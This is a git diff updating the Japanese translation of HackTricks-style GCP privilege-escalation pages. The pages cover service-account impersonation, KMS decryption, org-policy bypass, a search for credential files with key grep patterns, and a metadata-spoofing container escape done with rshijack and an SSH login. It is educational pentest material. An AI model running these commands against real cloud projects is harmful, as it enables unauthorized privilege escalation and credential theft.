-スクリプトを見つけることができます [**脆弱な環境の作成、悪用、クリーンアップの自動化はこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) と、この特権を悪用するためのPythonスクリプト [**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)。詳細については、[**元の研究を確認してください**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)。
+この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
### `iam.serviceAccounts.setIamPolicy`
-言及された権限を持つ攻撃者は、**サービスアカウントにIAMポリシーを追加することができる**。これを悪用して、**サービスアカウントを偽装するために必要な権限を自分に付与することができます**。次の例では、興味のあるSAに対して`roles/iam.serviceAccountTokenCreator`ロールを自分に付与しています：
+上記の権限があれば、攻撃者は service accounts に対して**IAM ポリシーを追加する**ことができます。この機能を悪用して、自分自身にサービスアカウントをインパーソネートするために必要な権限を**付与する**ことが可能です。以下の例では、興味のある SA に対して自分に `roles/iam.serviceAccountTokenCreator` ロールを付与しています:
+
+Add IAM policy binding to service account
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -83,45 +99,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
-スクリプトを自動化するための[**脆弱な環境の作成、悪用、クリーンアップはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**で見つけることができます。**
+
+
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
-**iam.serviceAccounts.actAs権限**は、**AWSのiam:PassRole権限**に似ています。これは、Compute Engineインスタンスを起動するなどのタスクを実行するために不可欠であり、サービスアカウントとして「行動する」能力を付与し、安全な権限管理を確保します。これがなければ、ユーザーは不当なアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs**を悪用するには、さまざまな方法があり、それぞれに一連の権限が必要であり、他の方法は1つの権限だけを必要とするのとは対照的です。
+**iam.serviceAccounts.actAs permission** は **iam:PassRole permission from AWS** に似ています。これは Compute Engine のインスタンス起動などのタスクを実行する際に重要で、Service Account を "actAs" する能力を付与し、権限管理を安全に行えるようにします。これがなければ、ユーザが不当なアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用する方法は複数あり、それぞれに一連の権限が必要になる点が、単一の権限だけで済む他の手法と対照的です。
-#### サービスアカウントの偽装
+#### Service account impersonation
-サービスアカウントを偽装することは、**新しいより良い権限を取得するために非常に便利です**。他のサービスアカウントを[偽装する方法は3つあります](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
+Service account を impersonate することは、**より高い権限を取得する**ために非常に有用です。別の service account を [impersonate する方法](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) は三通りあります:
-- RSA秘密鍵を**使用した認証**（上記で説明）
-- Cloud IAMポリシーを**使用した認可**（ここで説明）
-- **GCPサービスでのジョブのデプロイ**（ユーザーアカウントの侵害により適用される）
+- Authentication **using RSA private keys** (covered above)
+- Authorization **using Cloud IAM policies** (covered here)
+- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
### `iam.serviceAccounts.getOpenIdToken`
-前述の権限を持つ攻撃者は、OpenID JWTを生成することができます。これらはアイデンティティを主張するために使用され、リソースに対する暗黙の認可を必ずしも持っているわけではありません。
+上記の権限がある攻撃者は OpenID JWT を生成できます。これらはアイデンティティを主張するために使われ、必ずしもリソースに対する暗黙の認可を伴うわけではありません。
-この[**興味深い投稿**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)によると、オーディエンス（トークンを使用して認証したいサービス）を示す必要があり、サービスアカウントとJWTのオーディエンスを示すgoogleによって署名されたJWTを受け取ります。
+この [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) によれば、audience（トークンを使って認証したいサービス）を指定する必要があり、google によって署名された JWT が返され、その JWT には service account と audience が示されます。
-アクセスがあれば、OpenIDTokenを生成できます:
+You can generate an OpenIDToken (if you have the access) with:
+
+service account の OpenID トークンを生成する
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
-それから、次のようにしてサービスにアクセスできます:
+
+
+その後、それを使ってサービスにアクセスできます:
+
+OpenID tokenを使って認証する
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
-この種のトークンを介して認証をサポートするサービスには、次のものがあります：
+
+
+この種のトークンを使った認証をサポートするサービスには、次のものがあります:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
-- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDCを使用している場合)
+- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
-サービスアカウントの代わりにOpenIDトークンを作成する方法の例は、[**こちら**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で見つけることができます。
+サービスアカウントに代わって OpenID token を作成する方法の例は[**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。
## 参考文献
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
index 005bc9387..b6e51e52f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
@@ -1,20 +1,22 @@
-# GCP - KMS プライベートエスカレーション
+# GCP - KMS Privesc
{{#include ../../../banners/hacktricks-training.md}}
## KMS
-KMSに関する情報:
+KMS に関する情報:
{{#ref}}
../gcp-services/gcp-kms-enum.md
{{#endref}}
-KMSでは、**権限**は組織、フォルダ、プロジェクトから**継承**されるだけでなく、**キーリング**からも継承されることに注意してください。
+KMS では、**権限**は組織、フォルダ、プロジェクトからだけでなく、**Keyrings** からも**継承されます**。
### `cloudkms.cryptoKeyVersions.useToDecrypt`
-この権限を使用して、あなたがこの権限を持っているキーで**情報を復号化**することができます。
+この権限があると、対象のキーを使って**情報を復号する**ことができます。
+
+KMSキーを使ってデータを復号する
```bash
gcloud kms decrypt \
--location=[LOCATION] \
@@ -24,9 +26,13 @@ gcloud kms decrypt \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]
```
+
+
### `cloudkms.cryptoKeys.setIamPolicy`
-この権限を持つ攻撃者は、**自分自身に権限を与えて** 情報を復号化するためにキーを使用することができます。
+この権限を持つ攻撃者は、鍵を使用して情報を復号する権限を**自分に付与する**ことができます。
+
+自分に KMS decrypter role を付与する
```bash
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter
```
+
+
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
-この委任がどのように機能するかの概念的な内訳は次のとおりです：
+この委任がどのように機能するかの概念的な内訳は次の通りです:
-1. **サービスアカウントA** は、KMS内の特定のキーを使用して復号化する直接的なアクセス権を持っています。
-2. **サービスアカウントB** は `useToDecryptViaDelegation` 権限を付与されます。これにより、サービスアカウントAの代わりにKMSにデータの復号化を要求することができます。
+1. **サービスアカウントA** は KMS の特定のキーを使って復号する直接的なアクセス権を持っています。
+2. **サービスアカウントB** に `useToDecryptViaDelegation` 権限が付与されます。これによりサービスアカウントB は、サービスアカウントA に代わって KMS にデータの復号をリクエストできます。
-この**権限の使用は、復号化リクエストが行われる際にKMSサービスが権限をチェックする方法に暗黙的に含まれています**。
+この **権限の使用は、復号リクエスト時に KMS サービスが権限をチェックする方法に暗黙的に組み込まれています**。
-Google Cloud KMS API（Pythonや他の言語で）を使用して標準の復号化リクエストを行うと、サービスは**リクエストを行っているサービスアカウントが必要な権限を持っているかどうかをチェックします**。リクエストが**`useToDecryptViaDelegation`** 権限を持つサービスアカウントによって行われた場合、KMSはこの**アカウントがキーを所有するエンティティの代わりに復号化を要求することを許可されているかどうかを確認します**。
+Google Cloud KMS API（Python や他の言語）を使って標準的な復号リクエストを行うと、サービスは **リクエスト元のサービスアカウントが必要な権限を持っているかをチェックします**。もしそのリクエストが `useToDecryptViaDelegation` を持つサービスアカウントによって行われた場合、KMS はこの **アカウントがキーの所有者に代わって復号をリクエストすることを許可されているか** を検証します。
#### 委任の設定
-1. **カスタムロールの定義**: カスタムロールを定義するYAMLファイル（例：`custom_role.yaml`）を作成します。このファイルには `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` 権限が含まれている必要があります。以下は、このファイルの例です：
+1. **カスタムロールの定義**: `custom_role.yaml` などの YAML ファイルを作成し、カスタムロールを定義します。このファイルには `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` 権限を含める必要があります。以下はこのファイルの例です:
+
+カスタムロール YAML 定義
```yaml
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
@@ -55,13 +65,21 @@ stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
```
-2. **gcloud CLIを使用してカスタムロールを作成する**: 次のコマンドを使用して、Google Cloudプロジェクトにカスタムロールを作成します:
+
+
+2. **gcloud CLI を使用してカスタム ロールを作成する**: 次のコマンドを使用して、Google Cloud プロジェクトにカスタム ロールを作成します:
+
+カスタム KMS ロールを作成
```bash
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
```
-`[YOUR_PROJECT_ID]` をあなたの Google Cloud プロジェクト ID に置き換えます。
+[YOUR_PROJECT_ID] をあなたの Google Cloud プロジェクト ID に置き換えてください。
-3. **カスタムロールをサービスアカウントに付与する**: この権限を使用するサービスアカウントにカスタムロールを割り当てます。次のコマンドを使用します:
+
+
+3. **Grant the Custom Role to a Service Account**: このカスタムロールをこの権限を使用する service account に割り当てます。次のコマンドを使用してください:
+
+Grant custom role to service account
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
```
-`[YOUR_PROJECT_ID]` と `[SERVICE_ACCOUNT_EMAIL]` をそれぞれあなたのプロジェクトIDとサービスアカウントのメールに置き換えてください。
+`[YOUR_PROJECT_ID]` と `[SERVICE_ACCOUNT_EMAIL]` をそれぞれプロジェクトIDとサービスアカウントのメールアドレスに置き換えてください。
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
index b02faf338..fe4e4c895 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
@@ -1,40 +1,40 @@
-# GCP - ローカル特権昇格 SSH ピボティング
+# GCP - local privilege escalation ssh pivoting
{{#include ../../../banners/hacktricks-training.md}}
-このシナリオでは、あなたが **VM内の非特権アカウントを侵害した** と仮定します。
+in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
-驚くべきことに、あなたが侵害した Compute Engine の GPC 権限は、**マシン内でローカルに特権を昇格させる**のに役立つかもしれません。クラウド環境では常に非常に役立つわけではありませんが、可能であることを知っておくのは良いことです。
+驚くべきことに、あなたが侵害した Compute Engine の GPC 権限は、マシン内でローカルに権限を **escalate privileges locally inside a machine** するのに役立つことがあります。クラウド環境では常に有用とは限りませんが、可能であることを知っておくのは有益です。
-## スクリプトを読む
+## Read the scripts
-**Compute インスタンス**は、おそらくそのサービスアカウントを使用してアクションを実行するために **いくつかのスクリプトを実行する** ために存在しています。
+**Compute Instances** はおそらくその service accounts を使って何らかのスクリプトを **execute some scripts** するために存在しています。
-IAMは非常に細かく設定できるため、アカウントはリソースに対して **読み取り/書き込み** 権限を持っているが **リスト権限は持っていない** 可能性があります。
+IAM は細かく制御できるため、あるアカウントがリソースに対して **read/write** 権限を持っていても **no list privileges** の場合があります。
-この良い仮想的な例は、`instance82736-long-term-xyz-archive-0332893` というストレージバケットにバックアップを読み書きする権限を持つ Compute インスタンスです。
+良い仮想例として、`instance82736-long-term-xyz-archive-0332893` という storage bucket にバックアップを read/write する権限を持つ Compute Instance がある場合が挙げられます。
-コマンドラインから `gsutil ls` を実行すると何も返されません。なぜなら、サービスアカウントが `storage.buckets.list` IAM 権限を欠いているからです。しかし、`gsutil ls gs://instance82736-long-term-xyz-archive-0332893` を実行すると、完全なファイルシステムバックアップが見つかり、あなたのローカル Linux アカウントが持っていないデータへの平文アクセスが得られるかもしれません。
+コマンドラインから `gsutil ls` を実行しても何も返ってこないことがあります。これは service account に `storage.buckets.list` IAM permission がないためです。しかし、`gsutil ls gs://instance82736-long-term-xyz-archive-0332893` を実行すると、完全なファイルシステムのバックアップが見つかり、あなたのローカル Linux アカウントが持っていない平文データにアクセスできる可能性があります。
-このバケット名は、スクリプト（bash、Python、Rubyなど）内で見つけることができるかもしれません。
+このバケット名はスクリプト（bash、Python、Ruby など）の中に見つかることがあります。
-## カスタムメタデータ
+## Custom Metadata
-管理者は、**インスタンス**および **プロジェクトレベル**で [カスタムメタデータ](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) を追加できます。これは、**任意のキー/値ペアをインスタンスに渡す**方法であり、環境変数や起動/シャットダウンスクリプトに一般的に使用されます。
+管理者はインスタンスレベルとプロジェクトレベルで [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) を追加できます。これはインスタンスに任意の key/value ペアを渡す単純な方法で、環境変数や startup/shutdown スクリプトに一般的に使われます。
-さらに、**ユーザーデータ**を追加することも可能で、これはマシンが起動または再起動されるたびに **実行されるスクリプト**であり、**メタデータエンドポイントからもアクセス可能です。**
+さらに、**userdata** を追加することが可能で、これはマシンが起動または再起動されるたびに **executed everytime** されるスクリプトで、metadata endpoint からも **accessed** できます。
-詳細については、以下を確認してください：
+For more info check:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
-## **IAM権限の悪用**
+## **Abusing IAM permissions**
-以下に提案するほとんどの権限は、**デフォルトの Compute SA に与えられています**。唯一の問題は、**デフォルトのアクセススコープが SA の使用を妨げる**ことです。しかし、**`cloud-platform`** **スコープ**が有効になっているか、単に **`compute`** **スコープ**が有効になっている場合、あなたはそれらを **悪用することができる**でしょう。
+以下に挙げる多くの権限は **default Compute SA** に付与されていることが多く、唯一の問題は **default access scope** が SA にそれらを使わせない点です。しかし、`cloud-platform` scope が有効化されているか、あるいは `compute` scope のみが有効であれば、それらを **abuse** することが可能です。
-以下の権限を確認してください：
+Check the following permissions:
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
@@ -42,20 +42,26 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
-## ファイルシステム内のキーを検索
+## Search for Keys in the filesystem
-他のユーザーがボックス内で gcloud にログインし、ファイルシステムに資格情報を残しているか確認してください：
+ボックス内で他のユーザーが gcloud にログインして filesystem に認証情報を残していないか確認してください：
+
+Search for gcloud credentials in filesystem
```
sudo find / -name "gcloud"
```
-これらは最も興味深いファイルです：
+
+
+最も興味深いファイルは次のとおりです:
- `~/.config/gcloud/credentials.db`
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
- `~/.credentials.json`
-### さらにAPIキーの正規表現
+### 追加の API Keys 正規表現
+
+Grep パターン (GCP credentials と keys)
```bash
TARGET_DIR="/path/to/whatever"
@@ -87,7 +93,9 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
grep -Pzr '(?s)
+
+## 参考資料
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
index 147cf8481..cc7c0347c 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
@@ -4,43 +4,58 @@
## 初期状態
-この技術が指定されている2つの報告書では、攻撃者はGCPによって管理されている**Docker**コンテナ内で**root**アクセスを取得し、ホストネットワークへのアクセス（および**`CAP_NET_ADMIN`**と**`CAP_NET_RAW`**の権限）を持っていました。
+この手法が記載されている両方の報告では、攻撃者はホストネットワークにアクセスできる GCP 管理下の **Docker** コンテナ内で **root** 権限を取得しました（およびケーパビリティ **`CAP_NET_ADMIN`** および **`CAP_NET_RAW`**）。
## 攻撃の説明
-Google Compute Engineインスタンスでは、ネットワークトラフィックの定期的な検査により、**メタデータインスタンス**への多数の**プレーンHTTPリクエスト**が明らかになります。オープンソースサービスである[**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent)は、頻繁にこのようなリクエストを行います。
+Google Compute Engine インスタンスでは、ネットワークトラフィックを監視すると、`169.254.169.254` の **metadata instance** への多数の **plain HTTP requests** が定期的に確認されます。オープンソースのサービスである [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent) は、そのようなリクエストを頻繁に行います。
-このエージェントは**メタデータの変更を監視する**ように設計されています。特に、メタデータには**SSH公開鍵用のフィールド**が含まれています。新しい公開SSH鍵がメタデータに追加されると、エージェントは自動的にそれを`.authorized_key`ファイルに**認証**します。また、必要に応じて**新しいユーザーを作成**し、**sudoers**に追加することもあります。
+このエージェントは **metadata の変更を監視する** よう設計されています。特に、metadata には **SSH 公開鍵用のフィールド** が含まれています。新しい公開 SSH キーが metadata に追加されると、エージェントはそれを `.authorized_key` ファイルに自動的に **登録（authorize）** します。必要に応じて **新しいユーザーを作成** し、そのユーザーを **sudoers** に追加することもあります。
-エージェントは、**すべてのメタデータ値を再帰的に取得する**リクエストを送信することで変更を監視します（`GET /computeMetadata/v1/?recursive=true`）。このリクエストは、前回の取得以降にメタデータに変更があった場合のみ、メタデータサーバーが応答を送信するように設計されています。これはEtag（`wait_for_change=true&last_etag=`）によって識別されます。さらに、**タイムアウト**パラメータ（`timeout_sec=`）も含まれています。指定されたタイムアウト内に変更が発生しない場合、サーバーは**変更されていない値**で応答します。
+エージェントは、すべての metadata 値を再帰的に取得するリクエスト（`GET /computeMetadata/v1/?recursive=true`）を送信することで変更を監視します。このリクエストは、前回取得時から metadata に変更があった場合にのみメタデータサーバーがレスポンスを返すよう設計されており、Etag（`wait_for_change=true&last_etag=`）で識別されます。さらに、**timeout** パラメータ（`timeout_sec=`）も含まれます。指定したタイムアウト内に変更がなければ、サーバーは **変更なしの値（unchanged values）** を返します。
-このプロセスにより、**IMDS**（インスタンスメタデータサービス）は、構成変更が発生しなかった場合に**60秒後**に応答することができ、ゲストエージェントに対して**偽の構成応答を注入するための潜在的なウィンドウ**を作成します。
+このプロセスにより、構成の変更がない場合には **IMDS** (Instance Metadata Service) が **60 秒** 後に応答することが可能となり、guest agent に対して偽の構成レスポンスを注入するための潜在的な **ウィンドウ** が生まれます。
-攻撃者は、**Man-in-the-Middle (MitM)攻撃**を実行し、IMDSサーバーからの応答を偽装して**新しい公開鍵を挿入する**ことでこれを悪用できる可能性があります。これにより、ホストへの不正なSSHアクセスが可能になります。
+攻撃者はこれを悪用して **Man-in-the-Middle (MitM) attack** を実行し、IMDS サーバーからのレスポンスを偽装して **新しい公開鍵を挿入** することができます。これによりホストへの不正な SSH アクセスが可能になる可能性があります。
-### エスケープ技術
+### エスケープ手法
-ARPスプーフィングはGoogle Compute Engineネットワークでは効果がありませんが、[**rshijackの修正版**](https://github.com/ezequielpereira/rshijack)が[**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)によって開発され、SSHユーザーを注入するためのパケット注入に使用できます。
+Google Compute Engine のネットワーク上では ARP spoofing は無効ですが、[**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) が開発した [**modified version of rshijack**](https://github.com/ezequielpereira/rshijack) を通信のパケット注入に使用して SSH ユーザーを挿入することができます。
-このrshijackのバージョンは、ACKおよびSEQ番号をコマンドライン引数として入力できるため、実際のメタデータサーバーの応答の前に応答を偽装することが容易になります。さらに、[**小さなシェルスクリプト**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh)が使用され、**特別に作成されたペイロード**を返します。このペイロードは、Google Guest Agentに対して、`.authorized_keys`ファイルに指定された公開鍵を持つユーザー`wouter`を**作成する**ようにトリガーします。
+このバージョンの rshijack は ACK と SEQ 番号をコマンドライン引数として入力できるため、実際の Metadata サーバーのレスポンスより前にレスポンスを偽装しやすくなります。さらに、[**small Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) を使って **特別に作成されたペイロード（specially crafted payload）** を返します。このペイロードは Google Guest Agent に対して `.authorized_keys` ファイルに指定した公開鍵で **ユーザー `wouter` を作成（create a user `wouter`）** させます。
-スクリプトは同じETagを使用して、メタデータサーバーが異なるメタデータ値をGoogle Guest Agentに即座に通知しないようにし、応答を遅延させます。
+スクリプトは同じ ETag を使用して、Metadata サーバーがすぐに Google Guest Agent に異なる metadata 値を通知するのを防ぎ、レスポンスを遅延させます。
-スプーフィングを実行するには、次の手順が必要です。
+spoofing を実行するには、次の手順を実行します。
-1. **tcpdump**を使用してメタデータサーバーへのリクエストを**監視**します：
+1. **Metadata server へのリクエストを監視する**（**tcpdump** を使用）:
+
+
+tcpdump で metadata サーバーへのリクエストを監視
```bash
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
```
-翻訳する内容が見つかりませんでした。具体的なテキストを提供してください。
+
+
+次のような行を探してください:
+
+
+tcpdump の出力行の例
```
+
+2. 正しい ETAG を使って偽のメタデータを rshijack に送信する:
+
+
+偽のメタデータを送信してホストに SSH する
```bash
fakeData.sh | rshijack -q eth0 169.254.169.254:80 :; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
```
-このステップは公開鍵を認証し、対応する秘密鍵を使用してSSH接続を可能にします。
+
+
+この手順は公開鍵を承認し、対応する秘密鍵でのSSH接続を可能にします。
## 参考文献
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
index 01d5d50ec..86ca45197 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
@@ -6,7 +6,10 @@
### `orgpolicy.policy.set`
-**orgpolicy.policy.set** を利用する攻撃者は組織のポリシーを操作でき、特定の操作を妨げる制限を解除することができます。例えば、制約 **appengine.disableCodeDownload** は通常 App Engine のソースコードのダウンロードをブロックします。しかし **orgpolicy.policy.set** を使うことでこの制約を無効化でき、当初は保護されていたソースコードをダウンロードできるようになります。
+**orgpolicy.policy.set** を悪用する攻撃者は組織のポリシーを操作でき、特定の操作を妨げる制限を解除できます。例えば、制約 **appengine.disableCodeDownload** は通常 App Engine のソースコードのダウンロードを阻止します。しかし、**orgpolicy.policy.set** を使うことでこの制約を無効化し、当初は保護されていたソースコードのダウンロードにアクセスできるようになります。
+
+
+org policy の情報を取得して強制を無効化
```bash
# Get info
gcloud resource-manager org-policies describe [--folder | --organization | --project ]
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe [--folder | --or
# Disable
gcloud resource-manager org-policies disable-enforce [--folder | --organization | --project ]
```
-A python スクリプトはこの方法のために [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) にあります。
+
+
+この手法の python スクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) にあります。
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
-通常、異なるプロジェクトのサービスアカウントをリソースに紐付けることはできません。なぜなら **`iam.disableCrossProjectServiceAccountUsage`** というポリシー制約が適用されており、この操作を防止するためです。
+通常、別のプロジェクトのサービスアカウントをリソースに付与することはできません。これは **`iam.disableCrossProjectServiceAccountUsage`** というポリシー制約が適用されており、この操作を防いでいるためです。
-この制約が適用されているかどうかは、以下のコマンドを実行して確認できます:
+この制約が適用されているかどうかは、次のコマンドを実行して確認できます：
+
+
+プロジェクト間サービスアカウント制約の確認
```bash
gcloud resource-manager org-policies describe \
constraints/iam.disableCrossProjectServiceAccountUsage \
@@ -31,15 +39,22 @@ booleanPolicy:
enforced: true
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
```
-これは attacker が **`iam.serviceAccounts.actAs`** 権限を悪用して、例えば新しい VM を起動するために必要な追加のインフラ権限なしに別のプロジェクトのサービスアカウントを偽装し、privilege escalation を招くのを防ぎます。
+
-しかし、**`orgpolicy.policy.set`** の権限を持つ attacker は、制約 **`iam.disableServiceAccountProjectWideAccess`** を無効化することでこの制限を回避できます。これにより attacker は別のプロジェクトのサービスアカウントを自分のプロジェクト内のリソースにアタッチでき、effectively escalating his privileges。
+これは攻撃者が権限 **`iam.serviceAccounts.actAs`** を悪用して、例えば追加のインフラ権限（新しい VM の起動など）なしに別プロジェクトのサービスアカウントを引き受けることを防ぎます。こうした行為は権限昇格につながる可能性があります。
+
+しかし、権限 **`orgpolicy.policy.set`** を持つ攻撃者は、制約 **`iam.disableServiceAccountProjectWideAccess`** を無効化することでこの制限を回避できます。これにより攻撃者は別プロジェクトのサービスアカウントを自身のプロジェクト内のリソースに紐付けることができ、実質的に権限を昇格させることが可能になります。
+
+
+クロスプロジェクトのサービスアカウント制約を無効化
```bash
gcloud resource-manager org-policies disable-enforce \
iam.disableCrossProjectServiceAccountUsage \
--project=
```
-## 参考
+
+
+## 参考資料
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
index 6b939ec28..56c7516f9 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
@@ -4,7 +4,7 @@
## Cloud Run
-Cloud Runに関する詳細情報は、以下を確認してください：
+For more information about Cloud Run check:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,15 +12,18 @@ Cloud Runに関する詳細情報は、以下を確認してください：
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
-これらの権限を持つ攻撃者は、**任意のコードを実行するランサービスを作成**（任意のDockerコンテナ）、それにサービスアカウントを添付し、コードが**メタデータからサービスアカウントトークンを抽出**することができます。
+これらの権限を持つ攻撃者は、**任意のコードを実行する Cloud Run サービスを作成する**（任意の Docker コンテナ）、Service Account をアタッチし、コードに **metadata から Service Account トークンを exfiltrate させる** ことができます。
